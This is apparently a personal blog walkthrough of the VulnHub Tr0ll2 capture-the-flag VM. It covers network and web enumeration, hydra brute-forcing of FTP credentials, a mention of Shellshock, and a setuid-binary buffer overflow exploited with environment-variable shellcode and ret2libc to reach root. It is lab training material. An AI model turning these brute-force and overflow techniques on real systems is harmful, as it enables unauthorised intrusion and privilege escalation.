Damn, I love VulnHub - always keeps me entertained! With so many VMs released recently and with me just coming off an awesome CTF I have been kept quite busy those last couple weeks! Keeping the momentum up, I decided to give Tr0ll2 VM a shot. As expected, there were trolls on the way, but overall I quite enjoyed it! Alright, let’s rock on.
Recon
As per usual, let’s boot up the VM and find its IP address using netdiscover:
12345678910
root@kali:~# netdiscover -r 172.16.246.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
172.16.246.1 00:50:56:c0:00:01 01 060 VMWare, Inc.
172.16.246.135 00:0c:29:68:a8:92 01 060 VMware, Inc.
172.16.246.254 00:50:56:f7:73:6c 01 060 VMWare, Inc.
And nmap to see what services are exposed:
123456789101112131415
root@kali:~# nmap -sV 172.16.246.135
Starting Nmap 6.47 ( http://nmap.org ) at 2014-10-28 19:50 EST
Nmap scan report for 172.16.246.135
Host is up (0.00018s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 00:0C:29:68:A8:92 (VMware)
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.28 seconds
As expected, webserver running on port 80. By the way, looking at software and versions nothing seems to be immediatelly exploitable and FTP server doesn’t allow annonymous login.
Enumerating the web server
Let’s have a look at the website.
First troll, many more to come! First thought - let’s fire up dirbuster and see what it’ll come up with. Unfortunately, it didn’t come up with anything interesting at all.
Aha! Let’s check is there anything interesting hiding there. I tried couple of the folders one by one, but it’s gotten quite boring and repetitive, so I’ve dumped all directories into list.txt file and crafted a very simple one-liner to do all the hard work for me :)
root@kali:~# for dir in `cat list.txt`; do echo "------- $dir -------"; curl http://172.16.246.135$dir; done
------- /noob -------
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://172.16.246.135/noob/">here</a>.</p>
<hr>
<address>Apache/2.2.22 (Ubuntu) Server at 172.16.246.135 Port 80</address>
</body></html>
------- /nope -------
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /nope was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Ubuntu) Server at 172.16.246.135 Port 80</address>
</body></html>
------- /try_harder -------
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /try_harder was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Ubuntu) Server at 172.16.246.135 Port 80</address>
</body></html>
... (truncated) ...
As you can see, quite a few of them resulted in 404 Not Found and just a couple were invoking redirection to the same folder, but followed with /. I have manually visited all of them (/noob/, /keep_trying/, /dont_bother and /ok_this_is_it/) and they all contained the same image:
I have saved each one of them for reference (looking at source code of the pages, they were all coming from different location, so the images could really be different).
I have tried poking around a bit more and couldn’t find anything else that seemed interesting, so I decided to look closer into the images, starting with the previously downloaded kitten ones. Let’s run strings on them and see if something interesting comes up.
1234567891011121314
root@kali:~/Desktop# strings cat_the_troll_dont_bother.jpg
JFIF
#3-652-108?QE8<M=01F`GMTV[\[7DcjcXjQY[W
)W:1:WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
"aq2
\vRH
sdwTi
... (truncated) ...
]=%em;
lj\p
*/ p?E$
Look Deep within y0ur_self for the answer
Ha! One from /dont_bother/ contains a message! But what is it trying to tell us?
“look within y0ur_self”? Hmmm, it could be another directory on the webserver?
And upon further googling and researching, I found out that it seems to be a dictionary shipped by default with Ubuntu.
Fortunately I had Ubuntu installed and decided to grab its dictionary and compare it to the answer-decoded.txt file - knowing trolls, probably some new words were added that could be the clue!
First difference I noticed was that all apostrophies were trimmed out from answer-decoded.txt. Let’s do the same for Ubuntu dictionary using a nice vim trick to remove everything from ' till the end of the line:
1
:%s/'[^$]*//g
Ok, this will result in some duplicates, so let’s get rid of them on both files:
Awesome, so there are 3 strings that seem that were added to the original list:
ItCantReallyBeThisEasyRightLOL
noooob_lol
trollololol
We may be able to use them as passwords/usernames later.
After more poking around, a cup of coffee and some frustration, I wasn’t able to squeeze out anything interesting from the answer.txt file or the webserver, so I moved on to focus on FTP server.
Having a list of potential usernames and passwords, I decided to perform dictionary attack on the FTP server using harvested data as below.
Note: after numerous trials and errors, frustration and doubts, I decided to add more words to the dictionary
Let’s use hydra and see if we’ll be able to crack the username:password combination with any of those.
123456789101112
root@kali:~/Desktop# hydra -t 30 -L dict.txt -P dict.txt 172.16.246.135 ftp -e nsr -f
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2014-10-28 21:42:16
[DATA] 30 tasks, 1 server, 990 login tries (l:30/p:33), ~33 tries per task
[DATA] attacking service ftp on port 21
[STATUS] 620.00 tries/min, 620 tries in 00:01h, 370 todo in 00:01h, 30 active
[21][ftp] host: 172.16.246.135 login: Tr0ll password: Tr0ll
[STATUS] attack finished for 172.16.246.135 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-10-28 21:43:38
HAAAAAAAAAAA! Let’s log-in using Tr0ll:Tr0ll credentials.
12345678910111213141516
root@kali:~/Desktop# ftp 172.16.246.135
Connected to 172.16.246.135.
220 Welcome to Tr0ll FTP... Only noobs stay for a while...
Name (172.16.246.135:root): Tr0ll
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Oct 04 01:24 .
drwxr-xr-x 2 0 0 4096 Oct 04 01:24 ..
-rw-r--r-- 1 0 0 1474 Oct 04 01:09 lmao.zip
226 Directory send OK.
Just one file, lmao.zip, let’s get it.
12345678
ftp> get lmao.zip
local: lmao.zip remote: lmao.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for lmao.zip (1474 bytes).
226 Transfer complete.
1474 bytes received in 0.00 secs (2460.6 kB/s)
ftp> quit
221 Goodbye.
Password protected?! Ahhhhh… luckily, I had a good gut feel and got it at the first try - remember the string ItCantReallyBeThisEasyRightLOL? It did kinda look like password… well, it is! :)
As a result, we get a noob file, which is an RSA private key!
Arrrghhh! It’s getting annoying. What’s other way I can bypass that…? And then it hit me - how could I forget about it (it kept me up at night for much longer than I would’ve like), ladies and gentleman - SHELLSHOCK!
After a bit of a poking around we can quickly find an interesting folder with even more interesting files:
123456789101112131415161718192021
noob@Tr0ll2:~$ cd /nothing_to_see_here/choose_wisely/
noob@Tr0ll2:/nothing_to_see_here/choose_wisely$ ls
door1 door2 door3
noob@Tr0ll2:/nothing_to_see_here/choose_wisely$ ls -al *
door1:
total 16
drwsr-xr-x 2 root root 4096 Oct 4 22:19 .
drwsr-xr-x 5 root root 4096 Oct 4 22:36 ..
-rwsr-xr-x 1 root root 7271 Oct 4 22:19 r00t
door2:
total 20
drwsr-xr-x 2 root root 4096 Oct 5 21:19 .
drwsr-xr-x 5 root root 4096 Oct 4 22:36 ..
-rwsr-xr-x 1 root root 8401 Oct 5 21:17 r00t
door3:
total 16
drwsr-xr-x 2 root root 4096 Oct 5 21:18 .
drwsr-xr-x 5 root root 4096 Oct 4 22:36 ..
-rwsr-xr-x 1 root root 7273 Oct 5 21:18 r00t
Three binaries owned by root with a ‘sticky bit’ set! Seems like we should be able to get our privilege escalation through it.
But that’s where the trolls hit again, only one of these binaries is actually useful, other two are just trolling with you - one of them reboots the VM and the other puts you in a restricted shell for a limited period of time. The one of interest that we’ll be exploiting is the biggest one. Also, it seems that periodically the binaries are shuffled around the directories (once it’s door1, then maybe door3 etc.), so make sure to always keep an eye on the size of the binary you’re working on.
Alright, let’s get to the fun part! First, let’s run the right binary and see what it does.
Conveniently gdb is installed on the host, so we can do our debugging in there. Let’s find the offset!
12345
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Starting program: /nothing_to_see_here/choose_wisely/door3/r00t Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Program received signal SIGSEGV, Segmentation fault.
0x6a413969 in ?? ()
123
root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 6a413969
[*] Exact match at offset 268
root@kali:/usr/share/metasploit-framework/tools#
Cool! So we need to overwrite 268 bytes to get to the EIP. Let’s see what protections are enabled using another useful tool checksec.sh, copy it onto the host and see what it’ll tell us about our binary:
123
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door3$ ~/checksec.sh --file r00t
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH r00t
Awesome! Pretty much everything disabled - that should be easy :) And since we’re on 32 bit machine, just a quick precautionary increase of the stack size to ‘disable’ ASLR to prevent messing with our addresses.
123
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door3$ uname -a
Linux Tr0ll2 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door3$ ulimit -s unlimited
We’re good to go! There are couple methods how we can exploit it and I’ll describe two that came to my mind straight away - putting a shellcode in an environment variable and ret2libc. Let’s do it!
Buffer overflow with payload in an environment variable
Since NX is disabled, we can execute code from anywhere, including .data section. That makes it pretty simple, we can put the shellcode we want to run in an environment variable and overwrite EIP with address of the shellcode.
Calling generate with -b '\x00' to avoid NULL bytes that could mess up our exploit and -s 50 to include 50 byte NOP sled. This will help us locating the shellcode in the memory as we won’t need to provide exact address where the shellcode starts, but just a rough vicinity (we can land anywhere on NOPs).
And it’s in! Now all we need to do, is find its address and overwrite EIP with it. To do it, let’s reach to yet another tool in my arsenal - simple C code to locate environment variables.
Alright, so we have the address of the EGG, let’s try to exploit it! Again, we need to overwrite 268 bytes to get to EIP and then pass in address of our shellcode.
Voila! :) Needed to adjust address of shellcode a little bit, but thanks to NOP sled we got it on a second try - that was pretty simple. Let’s now have a look at ret2libc option (my personal favourite).
Ret2libc
So, with ret2libc things are a little bit different. If NX was enabled, it would mean we can only execute code from executable sectors of the program and the approach described above wouldn’t work.
In order to bypass this, we can utilise functions in the C libraries that are generally loaded by majority of the programs. One particular function we would want to use is system() that invokes system commands passed in. Because it takes a parameter, we need to create a fake stack frame to make it look like it’s really a function being called.
Essentially, we want to make the stack look as follows:
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door3$ gdb r00t
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /nothing_to_see_here/choose_wisely/door3/r00t...done.
(gdb) run
Starting program: /nothing_to_see_here/choose_wisely/door3/r00t
Usage: /nothing_to_see_here/choose_wisely/door3/r00t input
[Inferior 1 (process 2379) exited normally]
(gdb) p system
$1 = {<text variable, no debug info>} 0x40069060 <system>
Cool, we know where the system function call resides (0x40069060), now - what do we want to call? How about /bin/sh? There’s one problem though - when passing it as an argument to system(), we need to pass an address of the string going in as argument.
There are couple of options - we can either try to find it in existing environment variables (but it may be hard as the string we want may not be there and we would need to be exact regarding its memory address to be able to extract it) or we can simply create new environment variable with whatever value we want and pass that in!
Going with the second option, we control what value we want to pass in and we can also do a variety of a NOP sled as in the previous example.
As before, let’s create an environment variable to use as an argument to our system() call.
Number of / acts as a NOP sled, we can land anywhere on them and the exploit will still work, thus, we don’t need to be super specific about the string’s memory location.
Now we just need it’s address and we are ready to rock! Let’s use the same egghunt program as in the previous example.
Got it! On the 3rd try, didn’t seem to be able to guess EGG address that effectively this time, but at the end of the day it worked! :) Now you see why having a decent size NOP sled helps, otherwise, we would need to find EXACT address where it starts… in some situations it could be pretty hard if not impossible to do!
Oh, right, let’s get the flag!
1234567
# cd /root
# ls
core1 core2 core3 core4 goal hardmode lmao.zip Proof.txt ran_dir.py reboot
# cat Proof.txt
You win this time young Jedi...
a70354f0258dcc00292c72aab3c8b1e4
Summary
Quite fun challange! Was a bit frustrating at times, especially at the password guessing bit for FTP server, if only “Tr0ll” was one of the entries in the answer.txt file, that would save me quite some time trying to guess FTP username and password… oh well, Trolls will be Trolls :) Thanks Maleus for coming up with it and VulnHub for hosting it!